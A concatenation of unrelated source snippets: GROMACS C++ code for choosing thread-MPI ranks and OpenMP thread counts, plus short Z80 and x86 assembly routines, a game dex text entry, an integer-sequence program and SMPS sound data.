/*! \brief The minimum number of atoms per thread-MPI thread when GPUs
* are present. With fewer atoms than this, the number of thread-MPI
* ranks will get lowered.
*/
static constexpr int min_atoms_per_mpi_thread = 90;
/*! \brief The minimum number of atoms per GPU with thread-MPI
* active. With fewer atoms than this, the number of thread-MPI ranks
* will get lowered.
*/
static constexpr int min_atoms_per_gpu = 900;
/**@{*/
/*! \brief Constants for implementing default divisions of threads */
/* TODO choose nthreads_omp based on hardware topology
when we have a hardware topology detection library */
/* First we consider the case of no MPI (1 MPI rank).
* In general, when running up to 8 threads, OpenMP should be faster.
* Note: on AMD Bulldozer we should avoid running OpenMP over two dies.
* On Intel>=Nehalem running OpenMP on a single CPU is always faster,
* even on two CPUs it's usually faster (but with many OpenMP threads
* it could be faster not to use HT, currently we always use HT).
* On Nehalem/Westmere we want to avoid running 16 threads over
* two CPUs with HT, so we need a limit<16; thus we use 12.
* A reasonable limit for Intel Sandy and Ivy bridge,
* not knowing the topology, is 16 threads.
* Below we check for Intel and AVX, which for now includes
* Sandy/Ivy Bridge, Has/Broadwell. By checking for AVX instead of
* model numbers we ensure also future Intel CPUs are covered.
*/
constexpr int nthreads_omp_faster_default = 8;
constexpr int nthreads_omp_faster_Nehalem = 12;
constexpr int nthreads_omp_faster_Intel_AVX = 16;
constexpr int nthreads_omp_faster_AMD_Ryzen = 16;
/* For CPU only runs the fastest options are usually MPI or OpenMP only.
* With one GPU, using MPI only is almost never optimal, so we need to
* compare running pure OpenMP with combined MPI+OpenMP. This means higher
* OpenMP threads counts can still be ok. Multiplying the numbers above
* by a factor of 2 seems to be a good estimate.
*/
constexpr int nthreads_omp_faster_gpu_fac = 2;
/* This is the case with MPI (2 or more MPI PP ranks).
* By default we will terminate with a fatal error when more than 8
* OpenMP thread are (indirectly) requested, since using less threads
* nearly always results in better performance.
* With thread-mpi and multiple GPUs or one GPU and too many threads
* we first try 6 OpenMP threads and then less until the number of MPI ranks
* is divisible by the number of GPUs.
*/
constexpr int nthreads_omp_mpi_ok_max = 8;
constexpr int nthreads_omp_mpi_ok_min_cpu = 1;
constexpr int nthreads_omp_mpi_ok_min_gpu = 2;
constexpr int nthreads_omp_mpi_target_max = 6;
/**@}*/
/*! \brief Returns the maximum OpenMP thread count for which using a single MPI rank
* should be faster than using multiple ranks with the same total thread count.
*/
static int nthreads_omp_faster(const gmx::CpuInfo& cpuInfo, gmx_bool bUseGPU)
{
int nth;
if (cpuInfo.vendor() == gmx::CpuInfo::Vendor::Intel && cpuInfo.feature(gmx::CpuInfo::Feature::X86_Avx))
{
nth = nthreads_omp_faster_Intel_AVX;
}
else if (gmx::cpuIsX86Nehalem(cpuInfo))
{
// Intel Nehalem
nth = nthreads_omp_faster_Nehalem;
}
else if ((cpuInfo.vendor() == gmx::CpuInfo::Vendor::Amd && cpuInfo.family() >= 23)
|| cpuInfo.vendor() == gmx::CpuInfo::Vendor::Hygon)
{
// AMD Ryzen || Hygon Dhyana
nth = nthreads_omp_faster_AMD_Ryzen;
}
else
{
nth = nthreads_omp_faster_default;
}
if (bUseGPU)
{
nth *= nthreads_omp_faster_gpu_fac;
}
nth = std::min(nth, GMX_OPENMP_MAX_THREADS);
return nth;
}
/*! \brief Returns that maximum OpenMP thread count that passes the efficiency check */
gmx_unused static int nthreads_omp_efficient_max(int gmx_unused nrank, const gmx::CpuInfo& cpuInfo, gmx_bool bUseGPU)
{
if (GMX_OPENMP && GMX_MPI && (nrank > 1))
{
return nthreads_omp_mpi_ok_max;
}
else
{
return nthreads_omp_faster(cpuInfo, bUseGPU);
}
}
/*! \brief Return the number of thread-MPI ranks to use.
* This is chosen such that we can always obey our own efficiency checks.
*/
gmx_unused static int get_tmpi_omp_thread_division(const gmx_hw_info_t* hwinfo,
const gmx_hw_opt_t& hw_opt,
int nthreads_tot,
int ngpu)
{
int nrank;
const gmx::CpuInfo& cpuInfo = *hwinfo->cpuInfo;
GMX_RELEASE_ASSERT(nthreads_tot > 0, "There must be at least one thread per rank");
/* There are no separate PME nodes here, as we ensured in
* check_and_update_hw_opt that nthreads_tmpi>0 with PME nodes
* and a conditional ensures we would not have ended up here.
* Note that separate PME nodes might be switched on later.
*/
if (ngpu > 0)
{
if (hw_opt.nthreads_omp > 0)
{
/* In this case it is unclear if we should use 1 rank per GPU
* or more or less, so we require also setting the number of ranks.
*/
gmx_fatal(FARGS,
"When using GPUs, setting the number of OpenMP threads without specifying "
"the number "
"of ranks can lead to conflicting demands. Please specify the number of "
"thread-MPI ranks "
"as well (option -ntmpi).");
}
nrank = ngpu;
/* When the user sets nthreads_omp, we can end up oversubscribing CPU cores
* if we simply start as many ranks as GPUs. To avoid this, we start as few
* tMPI ranks as necessary to avoid oversubscription and instead leave GPUs idle.
* If the user does not set the number of OpenMP threads, nthreads_omp==0 and
* this code has no effect.
*/
GMX_RELEASE_ASSERT(hw_opt.nthreads_omp >= 0,
"nthreads_omp is negative, but previous checks should "
"have prevented this");
while (nrank * hw_opt.nthreads_omp > hwinfo->nthreads_hw_avail && nrank > 1)
{
nrank--;
}
if (nthreads_tot < nrank)
{
/* #thread < #gpu is very unlikely, but if so: waste gpu(s) */
nrank = nthreads_tot;
}
else if (nthreads_tot > nthreads_omp_faster(cpuInfo, ngpu > 0)
|| (ngpu > 1 && nthreads_tot / ngpu > nthreads_omp_mpi_target_max))
{
/* The high OpenMP thread count will likely result in sub-optimal
* performance. Increase the rank count to reduce the thread count
* per rank. This will lead to GPU sharing by MPI ranks/threads.
*/
int nshare;
/* Increase the rank count as long as have we more than 6 OpenMP
* threads per rank or the number of hardware threads is not
* divisible by the rank count. Don't go below 2 OpenMP threads.
*/
nshare = 1;
do
{
nshare++;
nrank = ngpu * nshare;
} while (nthreads_tot / nrank > nthreads_omp_mpi_target_max
|| (nthreads_tot / (ngpu * (nshare + 1)) >= nthreads_omp_mpi_ok_min_gpu
&& nthreads_tot % nrank != 0));
}
}
else if (hw_opt.nthreads_omp > 0)
{
/* Here we could oversubscribe, when we do, we issue a warning later */
nrank = std::max(1, nthreads_tot / hw_opt.nthreads_omp);
}
else
{
if (nthreads_tot <= nthreads_omp_faster(cpuInfo, ngpu > 0))
{
/* Use pure OpenMP parallelization */
nrank = 1;
}
else
{
/* Don't use OpenMP parallelization */
nrank = nthreads_tot;
}
}
return nrank;
}
//! Return whether hyper threading is enabled.
static bool gmxSmtIsEnabled(const gmx::HardwareTopology& hwTop)
{
return (hwTop.supportLevel() >= gmx::HardwareTopology::SupportLevel::Basic
&& hwTop.machine().sockets[0].cores[0].hwThreads.size() > 1);
}
namespace
{
//! Handles checks for algorithms that must use a single rank.
class SingleRankChecker
{
public:
SingleRankChecker() : value_(false) {}
/*! \brief Call this function for each possible condition
under which a single rank is required, along with a string
describing the constraint when it is applied. */
void applyConstraint(bool condition, const char* description)
{
if (condition)
{
value_ = true;
reasons_.push_back(gmx::formatString("%s only supports a single rank.", description));
}
}
//! After applying any conditions, is a single rank required?
bool mustUseOneRank() const { return value_; }
/*! \brief Return a formatted string to use when writing a
message when a single rank is required, (or empty if no
constraint exists.) */
std::string getMessage() const
{
return formatAndJoin(reasons_, "\n", gmx::IdentityFormatter());
}
private:
bool value_;
std::vector<std::string> reasons_;
};
} // namespace
/* Get the number of MPI ranks to use for thread-MPI based on how many
* were requested, which algorithms we're using,
* and how many particles there are.
* At the point we have already called check_and_update_hw_opt.
* Thus all options should be internally consistent and consistent
* with the hardware, except that ntmpi could be larger than #GPU.
*/
int get_nthreads_mpi(const gmx_hw_info_t* hwinfo,
gmx_hw_opt_t* hw_opt,
const int numDevicesToUse,
bool nonbondedOnGpu,
bool pmeOnGpu,
const t_inputrec* inputrec,
const gmx_mtop_t& mtop,
const gmx::MDLogger& mdlog,
bool doMembed)
{
int nthreads_hw, nthreads_tot_max, nrank, ngpu;
int min_atoms_per_mpi_rank;
const gmx::CpuInfo& cpuInfo = *hwinfo->cpuInfo;
const gmx::HardwareTopology& hwTop = *hwinfo->hardwareTopology;
if (pmeOnGpu)
{
GMX_RELEASE_ASSERT((EEL_PME(inputrec->coulombtype) || EVDW_PME(inputrec->vdwtype))
&& pme_gpu_supports_build(nullptr)
&& pme_gpu_supports_hardware(*hwinfo, nullptr)
&& pme_gpu_supports_input(*inputrec, nullptr),
"PME can't be on GPUs unless we are using PME");
// PME on GPUs supports a single PME rank with PP running on the same or few other ranks.
// For now, let's treat separate PME GPU rank as opt-in.
if (hw_opt->nthreads_tmpi < 1)
{
return 1;
}
}
{
/* Check if an algorithm does not support parallel simulation. */
// TODO This might work better if e.g. implemented algorithms
// had to define a function that returns such requirements,
// and a description string.
SingleRankChecker checker;
checker.applyConstraint(inputrec->eI == IntegrationAlgorithm::LBFGS, "L-BFGS minimization");
checker.applyConstraint(inputrec->coulombtype == CoulombInteractionType::Ewald,
"Plain Ewald electrostatics");
checker.applyConstraint(doMembed, "Membrane embedding");
bool useOrientationRestraints = (gmx_mtop_ftype_count(mtop, F_ORIRES) > 0);
checker.applyConstraint(useOrientationRestraints, "Orientation restraints");
if (checker.mustUseOneRank())
{
std::string message = checker.getMessage();
if (hw_opt->nthreads_tmpi > 1)
{
gmx_fatal(FARGS,
"%s However, you asked for more than 1 thread-MPI rank, so mdrun cannot "
"continue. "
"Choose a single rank, or a different algorithm.",
message.c_str());
}
GMX_LOG(mdlog.warning)
.asParagraph()
.appendTextFormatted("%s Choosing to use only a single thread-MPI rank.",
message.c_str());
return 1;
}
}
if (hw_opt->nthreads_tmpi > 0)
{
/* Trivial, return the user's choice right away */
return hw_opt->nthreads_tmpi;
}
// Now implement automatic selection of number of thread-MPI ranks
nthreads_hw = hwinfo->nthreads_hw_avail;
if (nthreads_hw <= 0)
{
/* This should normally not happen, but if it does, we handle it */
gmx_fatal(FARGS,
"The number of available hardware threads can not be detected, please specify "
"the number of "
"MPI ranks and the number of OpenMP threads (if supported) manually with options "
"-ntmpi and -ntomp, respectively");
}
/* How many total (#tMPI*#OpenMP) threads can we start? */
if (hw_opt->nthreads_tot > 0)
{
nthreads_tot_max = hw_opt->nthreads_tot;
}
else
{
nthreads_tot_max = nthreads_hw;
}
/* nonbondedOnGpu might be false e.g. because this simulation
* is a rerun with energy groups. */
ngpu = (nonbondedOnGpu ? numDevicesToUse : 0);
nrank = get_tmpi_omp_thread_division(hwinfo, *hw_opt, nthreads_tot_max, ngpu);
if (inputrec->eI == IntegrationAlgorithm::NM || EI_TPI(inputrec->eI))
{
/* Dims/steps are divided over the nodes iso splitting the atoms.
* With NM we can't have more ranks than #atoms*#dim. With TPI it's
* unlikely we have fewer atoms than ranks, and if so, communication
* would become a bottleneck, so we set the limit to 1 atom/rank.
*/
min_atoms_per_mpi_rank = 1;
}
else
{
if (ngpu >= 1)
{
min_atoms_per_mpi_rank = min_atoms_per_gpu;
}
else
{
min_atoms_per_mpi_rank = min_atoms_per_mpi_thread;
}
}
if (mtop.natoms / nrank < min_atoms_per_mpi_rank)
{
int nrank_new;
/* the rank number was chosen automatically, but there are too few
atoms per rank, so we need to reduce the rank count */
nrank_new = std::max(1, mtop.natoms / min_atoms_per_mpi_rank);
/* Avoid partial use of Hyper-Threading */
if (gmxSmtIsEnabled(hwTop) && nrank_new > nthreads_hw / 2 && nrank_new < nthreads_hw)
{
nrank_new = nthreads_hw / 2;
}
/* If the user specified the total thread count, ensure this is
* divisible by the number of ranks.
* It is quite likely that we have too many total threads compared
* to the size of the system, but if the user asked for this many
* threads we should respect that.
*/
while (hw_opt->nthreads_tot > 0 && hw_opt->nthreads_tot % nrank_new != 0)
{
nrank_new--;
}
/* Avoid large prime numbers in the rank count */
if (nrank_new >= 6)
{
/* Use only 6,8,10 with additional factors of 2 */
int fac;
fac = 2;
while (3 * fac * 2 <= nrank_new)
{
fac *= 2;
}
nrank_new = (nrank_new / fac) * fac;
}
else
{
/* Avoid 5, since small system won't fit 5 domains along
* a dimension. This might lead to waisting some cores, but this
* will have a small impact in this regime of very small systems.
*/
if (nrank_new == 5)
{
nrank_new = 4;
}
}
if (ngpu > 0 && (nrank_new % ngpu) != 0)
{
/* If we use GPUs, the number of ranks must be divisible by the number of GPUs,
* unless the GPUs are very different (and if they are, user should manually
* select the parallelization scheme).
* Rounding down the number of ranks, or setting it to ngpu, whichever is smaller.
* */
if (nrank_new > ngpu)
{
nrank_new = (nrank_new / ngpu) * ngpu;
}
else
{
nrank_new = ngpu;
}
}
nrank = nrank_new;
/* We reduced the number of tMPI ranks, which means we might violate
* our own efficiency checks if we simply use all hardware threads.
*/
if (GMX_OPENMP && hw_opt->nthreads_omp <= 0 && hw_opt->nthreads_tot <= 0)
{
/* The user set neither the total nor the OpenMP thread count,
* we should use all hardware threads, unless we will violate
* our own efficiency limitation on the thread count.
*/
int nt_omp_max;
nt_omp_max = nthreads_omp_efficient_max(nrank, cpuInfo, ngpu >= 1);
if (nrank * nt_omp_max < hwinfo->nthreads_hw_avail)
{
/* Limit the number of OpenMP threads to start */
hw_opt->nthreads_omp = nt_omp_max;
}
}
fprintf(stderr, "\n");
fprintf(stderr, "NOTE: Parallelization is limited by the small number of atoms,\n");
fprintf(stderr, " only starting %d thread-MPI ranks.\n", nrank);
fprintf(stderr,
" You can use the -nt and/or -ntmpi option to optimize the number of "
"threads.\n\n");
}
return nrank;
}
void check_resource_division_efficiency(const gmx_hw_info_t* hwinfo,
bool willUsePhysicalGpu,
bool bNtOmpOptionSet,
t_commrec* cr,
const gmx::MDLogger& mdlog)
{
#if GMX_OPENMP && GMX_MPI
GMX_UNUSED_VALUE(hwinfo);
/* This function should be called after thread-MPI (when configured) and
* OpenMP have been initialized. Check that here.
*/
if (GMX_THREAD_MPI)
{
GMX_RELEASE_ASSERT(nthreads_omp_faster_default >= nthreads_omp_mpi_ok_max,
"Inconsistent OpenMP thread count default values");
}
GMX_RELEASE_ASSERT(gmx_omp_nthreads_get(ModuleMultiThread::Default) >= 1,
"Must have at least one OpenMP thread");
int nth_omp_max = gmx_omp_nthreads_get(ModuleMultiThread::Default);
bool anyRankIsUsingGpus = willUsePhysicalGpu;
/* Thread-MPI seems to have a bug with reduce on 1 node, so use a cond. */
if (cr->nnodes > 1)
{
std::array<int, 2> count, count_max;
count[0] = nth_omp_max;
count[1] = int(willUsePhysicalGpu);
MPI_Allreduce(count.data(), count_max.data(), count.size(), MPI_INT, MPI_MAX, cr->mpi_comm_mysim);
/* In case of an inhomogeneous run setup we use the maximum counts */
nth_omp_max = count_max[0];
anyRankIsUsingGpus = count_max[1] > 0;
}
int nthreads_omp_mpi_ok_min;
if (!anyRankIsUsingGpus)
{
nthreads_omp_mpi_ok_min = nthreads_omp_mpi_ok_min_cpu;
}
else
{
/* With GPUs we set the minimum number of OpenMP threads to 2 to catch
* cases where the user specifies #ranks == #cores.
*/
nthreads_omp_mpi_ok_min = nthreads_omp_mpi_ok_min_gpu;
}
if (cr && cr->nnodes > 1)
{
if (nth_omp_max < nthreads_omp_mpi_ok_min || nth_omp_max > nthreads_omp_mpi_ok_max)
{
auto msg = gmx::formatString(
"%sYour choice of number of MPI ranks and amount of resources results in using "
"%d OpenMP "
"threads per rank, which is most likely inefficient. The optimum is usually "
"between %d and"
" %d threads per rank.",
bNtOmpOptionSet ? "Note: " : "",
nth_omp_max,
nthreads_omp_mpi_ok_min,
nthreads_omp_mpi_ok_max);
GMX_LOG(mdlog.warning).asParagraph().appendText(msg);
}
}
#else // !GMX_OPENMP || ! GMX_MPI
GMX_UNUSED_VALUE(bNtOmpOptionSet);
GMX_UNUSED_VALUE(willUsePhysicalGpu);
GMX_UNUSED_VALUE(cr);
GMX_UNUSED_VALUE(nthreads_omp_mpi_ok_max);
GMX_UNUSED_VALUE(nthreads_omp_mpi_ok_min_cpu);
/* Check if we have more than 1 physical core, if detected,
* or more than 1 hardware thread if physical cores were not detected.
*/
if (!GMX_OPENMP && !GMX_MPI && hwinfo->hardwareTopology->numberOfCores() > 1)
{
GMX_LOG(mdlog.warning)
.asParagraph()
.appendText(
"NOTE: GROMACS was compiled without OpenMP and (thread-)MPI support, can "
"only use a single CPU core");
}
#endif // end GMX_OPENMP && GMX_MPI
}
//! Dump a \c hw_opt to \c fp.
static void print_hw_opt(FILE* fp, const gmx_hw_opt_t* hw_opt)
{
fprintf(fp,
"hw_opt: nt %d ntmpi %d ntomp %d ntomp_pme %d gpu_id '%s' gputasks '%s'\n",
hw_opt->nthreads_tot,
hw_opt->nthreads_tmpi,
hw_opt->nthreads_omp,
hw_opt->nthreads_omp_pme,
hw_opt->devicesSelectedByUser.c_str(),
hw_opt->userGpuTaskAssignment.c_str());
}
void checkAndUpdateHardwareOptions(const gmx::MDLogger& mdlog,
gmx_hw_opt_t* hw_opt,
const bool isSimulationMasterRank,
const int nPmeRanks,
const t_inputrec* inputrec)
{
/* Currently hw_opt only contains default settings or settings supplied
* by the user on the command line.
*/
if (hw_opt->nthreads_omp < 0)
{
gmx_fatal(FARGS,
"The number of OpenMP threads supplied on the command line is %d, which is "
"negative "
"and not allowed",
hw_opt->nthreads_omp);
}
/* Check for OpenMP settings stored in environment variables, which can
* potentially be different on different MPI ranks.
*/
gmx_omp_nthreads_read_env(mdlog, &hw_opt->nthreads_omp);
/* Check restrictions on the user supplied options before modifying them.
* TODO: Put the user values in a const struct and preserve them.
*/
if (!GMX_THREAD_MPI)
{
if (hw_opt->nthreads_tot > 0)
{
gmx_fatal(FARGS,
"Setting the total number of threads is only supported with thread-MPI and "
"GROMACS was "
"compiled without thread-MPI");
}
if (hw_opt->nthreads_tmpi > 0)
{
gmx_fatal(FARGS,
"Setting the number of thread-MPI ranks is only supported with thread-MPI "
"and GROMACS was "
"compiled without thread-MPI");
}
}
/* With thread-MPI we need to handle TPI and #OpenMP-threads=auto early,
* so we can parallelize using MPI only. The general check is done later.
*/
if (GMX_THREAD_MPI && isSimulationMasterRank)
{
GMX_RELEASE_ASSERT(inputrec, "Expect a valid inputrec");
if (EI_TPI(inputrec->eI) && hw_opt->nthreads_omp == 0)
{
hw_opt->nthreads_omp = 1;
}
}
/* With thread-MPI the master thread sets hw_opt->totNumThreadsIsAuto.
* The other threads receive a partially processed hw_opt from the master
* thread and should not set hw_opt->totNumThreadsIsAuto again.
*/
if (!GMX_THREAD_MPI || isSimulationMasterRank)
{
/* Check if mdrun is free to choose the total number of threads */
hw_opt->totNumThreadsIsAuto = (hw_opt->nthreads_omp == 0 && hw_opt->nthreads_omp_pme == 0
&& hw_opt->nthreads_tot == 0);
}
if (GMX_OPENMP)
{
/* Check restrictions on PME thread related options set by the user */
if (hw_opt->nthreads_omp_pme > 0 && hw_opt->nthreads_omp <= 0)
{
gmx_fatal(FARGS, "You need to specify -ntomp in addition to -ntomp_pme");
}
if (hw_opt->nthreads_omp_pme >= 1 && hw_opt->nthreads_omp_pme != hw_opt->nthreads_omp
&& nPmeRanks <= 0)
{
/* This can result in a fatal error on many MPI ranks,
* but since the thread count can differ per rank,
* we can't easily avoid this.
*/
gmx_fatal(FARGS,
"You need to explicitly specify the number of PME ranks (-npme) when using "
"different numbers of OpenMP threads for PP and PME ranks");
}
}
else
{
/* GROMACS was configured without OpenMP support */
if (hw_opt->nthreads_omp > 1 || hw_opt->nthreads_omp_pme > 1)
{
gmx_fatal(FARGS,
"More than 1 OpenMP thread requested, but GROMACS was compiled without "
"OpenMP support");
}
hw_opt->nthreads_omp = 1;
hw_opt->nthreads_omp_pme = 1;
}
if (hw_opt->nthreads_tot > 0 && hw_opt->nthreads_omp_pme <= 0)
{
/* We have the same number of OpenMP threads for PP and PME ranks,
* thus we can perform several consistency checks.
*/
if (hw_opt->nthreads_tmpi > 0 && hw_opt->nthreads_omp > 0
&& hw_opt->nthreads_tot != hw_opt->nthreads_tmpi * hw_opt->nthreads_omp)
{
gmx_fatal(FARGS,
"The total number of threads requested (%d) does not match the thread-MPI "
"ranks (%d) "
"times the OpenMP threads (%d) requested",
hw_opt->nthreads_tot,
hw_opt->nthreads_tmpi,
hw_opt->nthreads_omp);
}
if (hw_opt->nthreads_tmpi > 0 && hw_opt->nthreads_tot % hw_opt->nthreads_tmpi != 0)
{
gmx_fatal(FARGS,
"The total number of threads requested (%d) is not divisible by the number "
"of thread-MPI "
"ranks requested (%d)",
hw_opt->nthreads_tot,
hw_opt->nthreads_tmpi);
}
if (hw_opt->nthreads_omp > 0 && hw_opt->nthreads_tot % hw_opt->nthreads_omp != 0)
{
gmx_fatal(FARGS,
"The total number of threads requested (%d) is not divisible by the number "
"of OpenMP "
"threads requested (%d)",
hw_opt->nthreads_tot,
hw_opt->nthreads_omp);
}
}
if (hw_opt->nthreads_tot > 0)
{
if (hw_opt->nthreads_omp > hw_opt->nthreads_tot)
{
gmx_fatal(FARGS,
"You requested %d OpenMP threads with %d total threads. Choose a total "
"number of threads "
"that is a multiple of the number of OpenMP threads.",
hw_opt->nthreads_omp,
hw_opt->nthreads_tot);
}
if (hw_opt->nthreads_tmpi > hw_opt->nthreads_tot)
{
gmx_fatal(FARGS,
"You requested %d thread-MPI ranks with %d total threads. Choose a total "
"number of "
"threads that is a multiple of the number of thread-MPI ranks.",
hw_opt->nthreads_tmpi,
hw_opt->nthreads_tot);
}
}
if (GMX_THREAD_MPI && nPmeRanks > 0 && hw_opt->nthreads_tmpi <= 0)
{
gmx_fatal(FARGS,
"You need to explicitly specify the number of MPI threads (-ntmpi) when using "
"separate PME ranks");
}
if (debug)
{
print_hw_opt(debug, hw_opt);
}
/* Asserting this simplifies the hardware resource division later
* on. */
GMX_RELEASE_ASSERT(
!(hw_opt->nthreads_omp_pme >= 1 && hw_opt->nthreads_omp <= 0),
"PME thread count should only be set when the normal thread count is also set");
}
void checkAndUpdateRequestedNumOpenmpThreads(gmx_hw_opt_t* hw_opt,
const gmx_hw_info_t& hwinfo,
const t_commrec* cr,
const gmx_multisim_t* ms,
int numRanksOnThisNode,
PmeRunMode pmeRunMode,
const gmx_mtop_t& mtop,
const t_inputrec& inputrec)
{
if (EI_TPI(inputrec.eI))
{
if (hw_opt->nthreads_omp > 1)
{
gmx_fatal(FARGS,
"You requested OpenMP parallelization, which is not supported with TPI.");
}
hw_opt->nthreads_omp = 1;
}
if (GMX_THREAD_MPI)
{
GMX_RELEASE_ASSERT(hw_opt->nthreads_tmpi >= 1, "Must have at least one thread-MPI rank");
/* If the user set the total number of threads on the command line
* and did not specify the number of OpenMP threads, set the latter here.
*/
if (hw_opt->nthreads_tot > 0 && hw_opt->nthreads_omp <= 0)
{
hw_opt->nthreads_omp = hw_opt->nthreads_tot / hw_opt->nthreads_tmpi;
if (!GMX_OPENMP && hw_opt->nthreads_omp > 1)
{
gmx_fatal(FARGS,
"You (indirectly) asked for OpenMP threads by setting -nt > -ntmpi, but "
"GROMACS was "
"compiled without OpenMP support");
}
}
}
/* With both non-bonded and PME on GPU, the work left on the CPU is often
* (much) slower with SMT than without SMT. This is mostly the case with
* few atoms per core. Thus, if the number of threads is set to auto,
* we turn off SMT in that case. Note that PME on GPU implies that also
* the non-bonded are computed on the GPU.
* We only need to do this when the number of hardware theads is larger
* than the number of cores. Note that a queuing system could limit
* the number of hardware threads available, but we are not trying to be
* too smart here in that case.
*/
/* The thread reduction and synchronization costs go up roughy quadratically
* with the threads count, so we apply a threshold quadratic in #cores.
* Also more cores per GPU usually means the CPU gets faster than the GPU.
* The number 1000 atoms per core^2 is a reasonable threshold
* for Intel x86 and AMD Threadripper.
*/
constexpr int c_numAtomsPerCoreSquaredSmtThreshold = 1000;
/* Prepare conditions for deciding if we should disable SMT.
* We currently only limit SMT for simulations using a single rank.
* TODO: Consider limiting also for multi-rank simulations.
*/
bool canChooseNumOpenmpThreads = (GMX_OPENMP && hw_opt->nthreads_omp <= 0);
bool haveSmtSupport =
(hwinfo.hardwareTopology->supportLevel() >= gmx::HardwareTopology::SupportLevel::Basic
&& hwinfo.hardwareTopology->machine().logicalProcessorCount
> hwinfo.hardwareTopology->numberOfCores());
bool simRunsSingleRankNBAndPmeOnGpu = (cr->nnodes == 1 && pmeRunMode == PmeRunMode::GPU);
if (canChooseNumOpenmpThreads && haveSmtSupport && simRunsSingleRankNBAndPmeOnGpu)
{
/* Note that the queing system might have limited us from using
* all detected ncore_tot physical cores. We are currently not
* checking for that here.
*/
int numRanksTot = cr->nnodes * (isMultiSim(ms) ? ms->numSimulations_ : 1);
int numAtomsPerRank = mtop.natoms / cr->nnodes;
int numCoresPerRank = hwinfo.ncore_tot / numRanksTot;
if (numAtomsPerRank < c_numAtomsPerCoreSquaredSmtThreshold * gmx::square(numCoresPerRank))
{
/* Choose one OpenMP thread per physical core */
hw_opt->nthreads_omp =
std::max(1, hwinfo.hardwareTopology->numberOfCores() / numRanksOnThisNode);
}
}
GMX_RELEASE_ASSERT(GMX_OPENMP || hw_opt->nthreads_omp == 1,
"Without OpenMP support, only one thread per rank can be used");
/* We are done with updating nthreads_omp, we can set nthreads_omp_pme */
if (hw_opt->nthreads_omp_pme <= 0 && hw_opt->nthreads_omp > 0)
{
hw_opt->nthreads_omp_pme = hw_opt->nthreads_omp;
}
if (debug)
{
print_hw_opt(debug, hw_opt);
}
}
namespace gmx
{
void checkHardwareOversubscription(int numThreadsOnThisRank,
int rank,
const HardwareTopology& hwTop,
const PhysicalNodeCommunicator& comm,
const MDLogger& mdlog)
{
if (hwTop.supportLevel() < HardwareTopology::SupportLevel::LogicalProcessorCount)
{
/* There is nothing we can check */
return;
}
int numRanksOnThisNode = comm.size_;
int numThreadsOnThisNode = numThreadsOnThisRank;
/* Avoid MPI calls with uninitialized thread-MPI communicators */
if (comm.size_ > 1)
{
#if GMX_MPI
/* Count the threads within this physical node */
MPI_Allreduce(&numThreadsOnThisRank, &numThreadsOnThisNode, 1, MPI_INT, MPI_SUM, comm.comm_);
#endif
}
if (numThreadsOnThisNode > hwTop.machine().logicalProcessorCount)
{
std::string mesg = "WARNING: ";
if (GMX_LIB_MPI)
{
mesg += formatString("On rank %d: o", rank);
}
else
{
mesg += "O";
}
mesg += formatString("versubscribing the available %d logical CPU cores",
hwTop.machine().logicalProcessorCount);
if (GMX_LIB_MPI)
{
mesg += " per node";
}
mesg += formatString(" with %d ", numThreadsOnThisNode);
if (numRanksOnThisNode == numThreadsOnThisNode)
{
if (GMX_THREAD_MPI)
{
mesg += "thread-MPI threads.";
}
else
{
mesg += "MPI processes.";
}
}
else
{
mesg += "threads.";
}
mesg += "\n This will cause considerable performance loss.";
/* Note that only the master rank logs to stderr and only ranks
* with an open log file write to log.
* TODO: When we have a proper parallel logging framework,
* the framework should add the rank and node numbers.
*/
GMX_LOG(mdlog.warning).asParagraph().appendTextFormatted("%s", mesg.c_str());
}
}
} // namespace gmx
|
;
; Copyright (c) 2020 Phillip Stevens
;
; This Source Code Form is subject to the terms of the Mozilla Public
; License, v. 2.0. If a copy of the MPL was not distributed with this
; file, You can obtain one at http://mozilla.org/MPL/2.0/.
;
; feilipu, 2020 May
;
;-------------------------------------------------------------------------
; asm_f16_zero - z80 half floating point signed zero
;-------------------------------------------------------------------------
;
; unpacked format: exponent in d, sign in e[7], mantissa in hl
; return normalized result also in unpacked format
;
; return half float in hl
;
;-------------------------------------------------------------------------
SECTION code_fp_math16
PUBLIC asm_f24_zero
PUBLIC asm_f16_zero
.asm_f24_zero
ld a,e ; called from expanded format, sign in e
and 080h
ld e,a
xor a
ld d,a
ld h,a
ld l,a
ret
.asm_f16_zero
ld a,e ; called from expanded format, sign in e
and 080h
ld h,a
ld l,0
ret
|
; Copyright (C) Teemu Suutari
%macro DEBUG_PLAIN 1
%ifdef DEBUG_BUILD
[section .data]
%%dbg_text:
db %1
db 0
__SECT__
mov edi,%%dbg_text
LIBCALL _printf
%endif
%endm
%macro DEBUG 1
%ifdef DEBUG_BUILD
pushad
mov esi,__LINE__
DEBUG_PLAIN {"[",__FILE__,":%d] ",%1,10}
popad
%endif
%endm
%macro DEBUG 2
%ifdef DEBUG_BUILD
pushad
push dword %2
pop edx
mov esi,__LINE__
DEBUG_PLAIN {"[",__FILE__,":%d] ",%1,10}
popad
%endif
%endm
%macro DEBUG 3
%ifdef DEBUG_BUILD
pushad
push dword %3
push dword %2
pop edx
pop ecx
mov esi,__LINE__
DEBUG_PLAIN {"[",__FILE__,":%d] ",%1,10}
popad
%endif
%endm
|
db "PUPPET@" ; species name
db "It uses its horn"
next "to feed on envy"
next "and malice, or so"
page "it's said. This"
next "#MON is very"
next "active at night.@"
|
; A017427: (11n+3)^3.
; 27,2744,15625,46656,103823,195112,328509,512000,753571,1061208,1442897,1906624,2460375,3112136,3869893,4741632,5735339,6859000,8120601,9528128,11089567,12812904,14706125
mul $0,11
add $0,3
pow $0,3
|
Sound_5C_Header:
smpsHeaderStartSong 3
smpsHeaderVoice Sound_5C_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cFM5, Sound_5C_FM5, $00, $00
; FM5 Data
Sound_5C_FM5:
smpsSetvoice $00
dc.b nF2, $10
smpsStop
Sound_5C_Voices:
; Voice $00
; $01
; $01, $B0, $FC, $40, $1F, $1F, $1F, $1F, $00, $04, $06, $1F
; $0B, $10, $10, $0F, $0F, $FF, $FF, $05, $19, $00, $28, $80
smpsVcAlgorithm $01
smpsVcFeedback $00
smpsVcUnusedBits $00
smpsVcDetune $04, $0F, $0B, $00
smpsVcCoarseFreq $00, $0C, $00, $01
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $1F, $1F, $1F, $1F
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $1F, $06, $04, $00
smpsVcDecayRate2 $0F, $10, $10, $0B
smpsVcDecayLevel $00, $0F, $0F, $00
smpsVcReleaseRate $05, $0F, $0F, $0F
smpsVcTotalLevel $00, $28, $00, $19
|
